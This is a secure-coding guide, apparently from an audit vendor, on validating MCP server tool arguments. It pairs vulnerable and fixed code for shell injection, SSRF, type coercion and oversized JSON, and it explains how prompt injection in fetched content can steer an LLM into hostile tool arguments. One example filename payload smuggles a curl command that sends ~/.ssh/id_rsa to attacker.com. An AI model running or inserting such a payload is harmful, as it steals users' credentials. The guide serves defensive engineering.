Topic: mcp server input sanitization

MCP server input sanitization — why tool arguments need a trust boundary

Traditional server-side input sanitization protects against malicious human users. MCP servers need to sanitize tool arguments for a different reason: the LLM that provides those arguments is not the source of truth — it is a processor of untrusted content. If a tool fetches a web page that contains prompt-injection instructions, the LLM may incorporate those instructions into its next tool call arguments. The MCP server's tool handler receives that argument as though it came from the user. Without a sanitization layer at the tool boundary, that injection completes undetected.

The trust model inversion

In a conventional web application, the sanitization contract is: server trusts itself, sanitizes user input. In an MCP server, the contract is: the tool handler trusts the MCP protocol layer, but the argument values themselves may have traveled through an LLM that processed arbitrary external content.

This doesn't mean you should distrust the LLM. It means you should validate the shape and domain of every argument before using it, regardless of whether you trust the LLM's intentions. The LLM's judgment about what arguments to pass is not the same as a guarantee that those arguments are safe to pass to a shell or a database.

Pattern 1: unvalidated free-text used as a system command

The most severe sanitization failure combines a free-text argument with a shell operation. Even a well-intentioned LLM will occasionally pass a string that — through prompt injection or reasoning error — contains characters that the shell interprets as operators.

// Vulnerable: free-text filename passed to shell
server.registerTool("run_test", async ({ testName }) => {
  const result = execSync(`npm test -- --testNamePattern="${testName}"`);
  return { output: result.toString() };
});

A prompt-injection payload in a test file name like foo" && curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa) # would execute the curl command with shell access. The fix is schema validation that restricts the argument to a known-safe pattern before use:

// Fixed: Zod schema validates before the handler runs
import { z } from "zod";

const TestNameSchema = z.string().regex(/^[a-zA-Z0-9 _\-\.]+$/).max(128);

server.registerTool("run_test", async ({ testName }) => {
  const name = TestNameSchema.parse(testName); // throws on invalid input
  // Use spawn with array argv instead of template string
  const result = spawnSync("npm", ["test", "--", `--testNamePattern=${name}`],
    { encoding: "utf8", shell: false });
  return { output: result.stdout };
});

Pattern 2: unvalidated URL used in a fetch call

URL arguments are a common SSRF vector. A tool that accepts a URL and fetches it needs to validate that the URL is in an expected domain before making the request — not just strip obvious bad patterns.

// Vulnerable: URL passed directly to fetch
server.registerTool("fetch_doc", async ({ url }) => {
  const res = await fetch(url);
  return { content: await res.text() };
});
// Fixed: origin allowlist before fetch
const ALLOWED_ORIGINS = new Set(["https://docs.example.com", "https://api.example.com"]);

server.registerTool("fetch_doc", async ({ url }) => {
  const parsed = new URL(url); // throws on malformed URL
  if (!ALLOWED_ORIGINS.has(parsed.origin)) {
    throw new Error(`origin not in allowlist: ${parsed.origin}`);
  }
  const res = await fetch(parsed.href);
  return { content: await res.text() };
});

Pattern 3: integer/boolean arguments passed as strings

Type coercion errors are a lower-severity but common sanitization gap. When an LLM passes "true" as a string instead of true as a boolean, JavaScript's truthy evaluation means it usually works — but the divergence between the declared schema and the actual argument type creates fragility, and in some cases, bypasses conditional logic.

// Fragile: no type coercion, condition fails when "false" is passed as string
server.registerTool("export_data", async ({ includePrivate }) => {
  if (includePrivate === true) { // "false" (string) evaluates truthy here
    // ...
  }
});
// Fixed: Zod coerces and validates
import { z } from "zod";

const ExportSchema = z.object({
  includePrivate: z.coerce.boolean().default(false)
});

server.registerTool("export_data", async (rawArgs) => {
  const { includePrivate } = ExportSchema.parse(rawArgs);
  if (includePrivate) { /* correctly typed boolean */ }
});

Pattern 4: JSON-decoded arguments used without depth or size limits

Tools that accept structured data (a JSON object passed as a string argument) need both type validation and size limits. An LLM following a prompt-injection instruction could pass an extremely large or deeply nested object that causes stack overflow or memory exhaustion in the tool handler.

// Safe: size-limited + schema-validated JSON argument
import { z } from "zod";

const ConfigSchema = z.object({
  name: z.string().max(128),
  settings: z.record(z.string(), z.string().max(512)).optional()
}).strict(); // reject unknown keys

server.registerTool("apply_config", async ({ configJson }) => {
  if (configJson.length > 4096) throw new Error("config too large");
  const parsed = JSON.parse(configJson);
  const config = ConfigSchema.parse(parsed); // validates shape and types
  // use config
});

What SkillAudit checks for input sanitization

Input sanitization findings appear on both the Security axis (command injection, SSRF) and the Permissions axis (over-broad argument shapes). The Security axis checks for:

The absence of schema validation is a WARN rather than a HIGH because it represents structural fragility rather than an immediately exploitable vulnerability. But in the SkillAudit corpus, servers without schema validation at the boundary are five times more likely to also have a HIGH-severity finding — the two conditions tend to co-occur.

For the Zod pattern library and more validation examples, see the MCP server input validation page. For how injection reaches tool arguments from external content, see the MCP server prompt injection page.

Scan your server's input handling

The SkillAudit Security axis checks for all four sanitization failure patterns above and reports the specific file and line number for each finding.

Run a free audit